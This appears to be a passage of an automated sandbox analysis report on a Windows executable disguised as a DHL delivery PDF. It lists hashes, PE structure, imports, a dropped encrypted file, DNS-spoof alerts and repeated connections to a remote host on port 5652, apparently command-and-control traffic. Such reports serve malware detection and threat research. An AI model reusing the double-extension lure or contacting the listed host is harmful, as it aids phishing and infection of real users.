SHA-512:	F23B002AC8D7060D065B7DAFA6AD39C07ED5AD5CE20394B88CCB65B7EBD74EA31EBC4710F853FF6DAA2926CC747AF797FBE3E8E01A79DDDD169E7AB9E9978308
Malicious:	false
Reputation:	unknown
Preview:	.....6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]%......(& ...P...sZ.G..W#..v..FN.}r...kG.....c2>.......K.(& &!.)....7..6G..U..9.v..FN.}r...l.)....n.7..N.}r...oP..oP......2>X...X.u.;.....:.\|..y1.-..n....6.X..OWOT...'.v....G..<.cgn.R.X........u.8..>5..{....wT.I....#......{..........).H t...wT.I....#......{..........&N.n..+..u.U"OT..t..X.....X....u.8..>5..{....wT.I....#......{..........\|+m.z..h4.?9+Q........Nk....^U...y..I.u.....o...!{.M..dK.$....s.5;....m.Y..mr.."....y...\.y..>.....F.;..k..a.......%~.....i.s.q.n!g.....+Ne..[.~...y..Ra.C..9<..q....J.v.......u.#a.Vp770./PdXs.......{.P`L..=8..{...]......96... .~...9 ..v..`Q...Zl/V\|....'.r3;.u.>..1U..bU..j.V}..154...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\Iqzencolmjnhoxprppdkgkfyidrxfas[1] Download File
Process:	C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe
File Type:	data
Category:	dropped
Size (bytes):	873984
Entropy (8bit):	7.9969159829391385
Encrypted:	true
SSDEEP:	24576:WkRi6BScPafSfJKPyZ/Sba3koow5ba33m6YwEcds:WobBLafgJKPyZ/MpoaW6YP
MD5:	6CFF8FAF4A45291638E775B0EB1DF24D
SHA1:	472E6F7B86A62F191AD8A231CE58F356A046A2F7
SHA-256:	195306105A3F635EA75E8D8E02987BB106B62C75AA1A6F4914A287E8DB424631
SHA-512:	F23B002AC8D7060D065B7DAFA6AD39C07ED5AD5CE20394B88CCB65B7EBD74EA31EBC4710F853FF6DAA2926CC747AF797FBE3E8E01A79DDDD169E7AB9E9978308
Malicious:	false
Reputation:	unknown
Preview:	.....6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]%......(& ...P...sZ.G..W#..v..FN.}r...kG.....c2>.......K.(& &!.)....7..6G..U..9.v..FN.}r...l.)....n.7..N.}r...oP..oP......2>X...X.u.;.....:.\|..y1.-..n....6.X..OWOT...'.v....G..<.cgn.R.X........u.8..>5..{....wT.I....#......{..........).H t...wT.I....#......{..........&N.n..+..u.U"OT..t..X.....X....u.8..>5..{....wT.I....#......{..........\|+m.z..h4.?9+Q........Nk....^U...y..I.u.....o...!{.M..dK.$....s.5;....m.Y..mr.."....y...\.y..>.....F.;..k..a.......%~.....i.s.q.n!g.....+Ne..[.~...y..Ra.C..9<..q....J.v.......u.#a.Vp770./PdXs.......{.P`L..=8..{...]......96... .~...9 ..v..`Q...Zl/V\|....'.r3;.u.>..1U..bU..j.V}..154...

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.9988393829759294
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe
File size:	1009152
MD5:	3808d4a11cbee20896cca28f9a3bcb9b
SHA1:	b3a533d6e00ace2ec0612c9af66c6dd69c5180b3
SHA256:	53c2e53d33f80e88b16cce06621f99680e0e5f387315cb81af97cee58080165a
SHA512:	980425efd3d01a3c5adbbd3873d819af60c1e62a9b32149b01f1c1e6de338d068b53c18ad4645c66e8c13db8f21440f2e0c01b27e3b1e4af55d19474ec83a5fd
SSDEEP:	24576:L5A8SqIkJpbDpQc6ScVHdPaHxA7VhLRYF:Lr5ZoHdPaRyzKF
File Content Preview:	MZ......................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	d2e6c45663c86871

Static PE Info

General
Entrypoint:	0x477a08
Entrypoint Section:	......
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A2E5E19 [Thu Jun 4 18:16:57 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7485e319df85e87afca01bdc77d12961

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00476B38h
call 00007F8F78AFEEADh
mov eax, dword ptr [0047A460h]
mov eax, dword ptr [eax]
call 00007F8F78B53339h
mov ecx, dword ptr [0047A270h]
mov eax, dword ptr [0047A460h]
mov eax, dword ptr [eax]
mov edx, dword ptr [0047656Ch]
call 00007F8F78B53339h
mov eax, dword ptr [0047A460h]
mov eax, dword ptr [eax]
call 00007F8F78B533ADh
call 00007F8F78AFCD1Ch
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7f000	0x28e6	......
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8c000	0x72fc2	.....
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x84000	0x7230	......
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x83018	0x18	......
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x83000	0x18	......
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7f7ac	0x658	......
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.....	0x1000	0x75dc0	0x75e00	False	0.529974151644	data	6.5690645697	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
......	0x77000	0xa50	0xc00	False	0.535807291667	data	5.68654279388	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.....	0x78000	0x2604	0x2800	False	0.41875	data	4.27539272227	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
....	0x7b000	0x38d8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
......	0x7f000	0x28e6	0x2a00	False	0.317057291667	data	5.12299679952	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
....	0x82000	0x34	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
......	0x83000	0x30	0x200	False	0.1015625	data	0.606751191078	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
......	0x84000	0x7230	0x7400	False	0.623013200431	data	6.65937740819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.....	0x8c000	0x72fc2	0x73000	False	0.558258322011	data	6.93563526848	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
TMAP	0x8caf4	0x197eb	ASCII text, with very long lines, with CRLF line terminators	English	United States
RT_CURSOR	0xa62e0	0x134	data	English	United States
RT_CURSOR	0xa6414	0x134	data	English	United States
RT_CURSOR	0xa6548	0x134	data	English	United States
RT_CURSOR	0xa667c	0x134	data	English	United States
RT_CURSOR	0xa67b0	0x134	data	English	United States
RT_CURSOR	0xa68e4	0x134	data	English	United States
RT_CURSOR	0xa6a18	0x134	data	English	United States
RT_BITMAP	0xa6b4c	0x1d0	data	English	United States
RT_BITMAP	0xa6d1c	0x1e4	data	English	United States
RT_BITMAP	0xa6f00	0x1d0	data	English	United States
RT_BITMAP	0xa70d0	0x1d0	data	English	United States
RT_BITMAP	0xa72a0	0x1d0	data	English	United States
RT_BITMAP	0xa7470	0x1d0	data	English	United States
RT_BITMAP	0xa7640	0x1d0	data	English	United States
RT_BITMAP	0xa7810	0x1d0	data	English	United States
RT_BITMAP	0xa79e0	0x1d0	data	English	United States
RT_BITMAP	0xa7bb0	0x1d0	data	English	United States
RT_BITMAP	0xa7d80	0x506e0	data	English	United States
RT_BITMAP	0xf8460	0xe8	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0xf8548	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0xf89b0	0x988	data	English	United States
RT_ICON	0xf9338	0x10a8	data	English	United States
RT_ICON	0xfa3e0	0x25a8	data	English	United States
RT_DIALOG	0xfc988	0x52	data
RT_DIALOG	0xfc9dc	0x52	data
RT_STRING	0xfca30	0x148	data
RT_STRING	0xfcb78	0x390	data
RT_STRING	0xfcf08	0x1a4	data
RT_STRING	0xfd0ac	0xc8	data
RT_STRING	0xfd174	0x118	data
RT_STRING	0xfd28c	0x39c	data
RT_STRING	0xfd628	0x390	data
RT_STRING	0xfd9b8	0x370	data
RT_STRING	0xfdd28	0x3cc	data
RT_STRING	0xfe0f4	0x214	data
RT_STRING	0xfe308	0xcc	data
RT_STRING	0xfe3d4	0x194	data
RT_STRING	0xfe568	0x3c4	data
RT_STRING	0xfe92c	0x338	data
RT_STRING	0xfec64	0x294	data
RT_GROUP_CURSOR	0xfeef8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xfef0c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xfef20	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xfef34	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xfef48	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xfef5c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xfef70	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_ICON	0xfef84	0x3e	data	English	United States

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessageTime, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetMapMode, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, LPtoDP, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileDescriptionA, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateEnhMetaFileA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, CloseEnhMetaFile, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalSize, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetUserDefaultLCID, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
oleaut32.dll	GetErrorInfo, SysFreeString
ole32.dll	CreateStreamOnHGlobal, IsAccelerator, OleDraw, OleSetMenuDescriptor, CoCreateInstance, CoGetClassObject, CoUninitialize, CoInitialize, IsEqualGUID
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
URL	InetIsOffline

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
09/27/21-20:40:26.090744	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	49910	8.8.8.8	192.168.2.4
09/27/21-20:40:28.212397	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	64549	8.8.8.8	192.168.2.4
09/27/21-20:40:47.445765	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	61721	8.8.8.8	192.168.2.4
09/27/21-20:40:49.554492	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	51255	8.8.8.8	192.168.2.4
09/27/21-20:40:52.234039	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	61522	8.8.8.8	192.168.2.4
09/27/21-20:41:03.235649	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	59794	8.8.8.8	192.168.2.4
09/27/21-20:41:17.924951	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	53418	8.8.8.8	192.168.2.4
09/27/21-20:41:30.956044	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	51275	8.8.8.8	192.168.2.4
09/27/21-20:41:33.111673	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	63492	8.8.8.8	192.168.2.4
09/27/21-20:41:39.455292	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	57091	8.8.8.8	192.168.2.4
09/27/21-20:41:43.690538	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	54450	8.8.8.8	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 20:40:26.099253893 CEST	49771	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:26.126665115 CEST	5652	49771	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:26.633711100 CEST	49771	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:26.662739038 CEST	5652	49771	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:27.162794113 CEST	49771	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:27.188055992 CEST	5652	49771	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:28.213025093 CEST	49774	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:28.239039898 CEST	5652	49774	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:28.740093946 CEST	49774	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:28.767437935 CEST	5652	49774	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:29.266966105 CEST	49774	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:29.292431116 CEST	5652	49774	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:30.311638117 CEST	49775	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:30.337019920 CEST	5652	49775	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:30.847476959 CEST	49775	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:30.873163939 CEST	5652	49775	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:31.382426977 CEST	49775	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:31.408561945 CEST	5652	49775	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:32.568515062 CEST	49776	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:32.593892097 CEST	5652	49776	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:33.097670078 CEST	49776	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:33.122795105 CEST	5652	49776	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:33.629543066 CEST	49776	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:33.654998064 CEST	5652	49776	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:35.528153896 CEST	49777	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:35.553522110 CEST	5652	49777	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:36.104592085 CEST	49777	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:36.129878044 CEST	5652	49777	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:36.704710960 CEST	49777	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:36.730668068 CEST	5652	49777	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:37.749738932 CEST	49782	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:37.775094986 CEST	5652	49782	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:38.275748014 CEST	49782	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:38.302005053 CEST	5652	49782	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:38.806431055 CEST	49782	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:38.833870888 CEST	5652	49782	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:39.854981899 CEST	49783	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:39.880990028 CEST	5652	49783	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:40.382126093 CEST	49783	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:46.383398056 CEST	49783	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:46.409064054 CEST	5652	49783	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:47.448198080 CEST	49790	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:47.475070000 CEST	5652	49790	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:47.975523949 CEST	49790	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:48.000745058 CEST	5652	49790	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:48.500801086 CEST	49790	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:48.526865005 CEST	5652	49790	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:49.562388897 CEST	49792	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:49.588556051 CEST	5652	49792	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:50.090642929 CEST	49792	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:50.116292953 CEST	5652	49792	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:50.620203018 CEST	49792	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:50.645873070 CEST	5652	49792	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:52.249577045 CEST	49793	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:52.275001049 CEST	5652	49793	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:52.867918015 CEST	49793	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:52.895874977 CEST	5652	49793	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:53.468501091 CEST	49793	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:53.495196104 CEST	5652	49793	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:54.516490936 CEST	49794	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:54.542279959 CEST	5652	49794	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:55.076044083 CEST	49794	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:55.101849079 CEST	5652	49794	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:55.676054955 CEST	49794	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:55.701675892 CEST	5652	49794	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:56.810127020 CEST	49796	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:56.836287975 CEST	5652	49796	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:57.367189884 CEST	49796	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:57.392453909 CEST	5652	49796	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:57.967570066 CEST	49796	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:57.994271994 CEST	5652	49796	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:59.016191959 CEST	49809	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:59.042155027 CEST	5652	49809	185.140.53.15	192.168.2.4
Sep 27, 2021 20:40:59.542375088 CEST	49809	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:40:59.568694115 CEST	5652	49809	185.140.53.15	192.168.2.4
Sep 27, 2021 20:41:00.069375992 CEST	49809	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:41:00.096935987 CEST	5652	49809	185.140.53.15	192.168.2.4
Sep 27, 2021 20:41:01.115319967 CEST	49814	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:41:01.140680075 CEST	5652	49814	185.140.53.15	192.168.2.4
Sep 27, 2021 20:41:01.643546104 CEST	49814	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:41:01.668754101 CEST	5652	49814	185.140.53.15	192.168.2.4
Sep 27, 2021 20:41:02.169558048 CEST	49814	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:41:02.195699930 CEST	5652	49814	185.140.53.15	192.168.2.4
Sep 27, 2021 20:41:03.238528013 CEST	49818	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:41:03.264319897 CEST	5652	49818	185.140.53.15	192.168.2.4
Sep 27, 2021 20:41:03.855710983 CEST	49818	5652	192.168.2.4	185.140.53.15
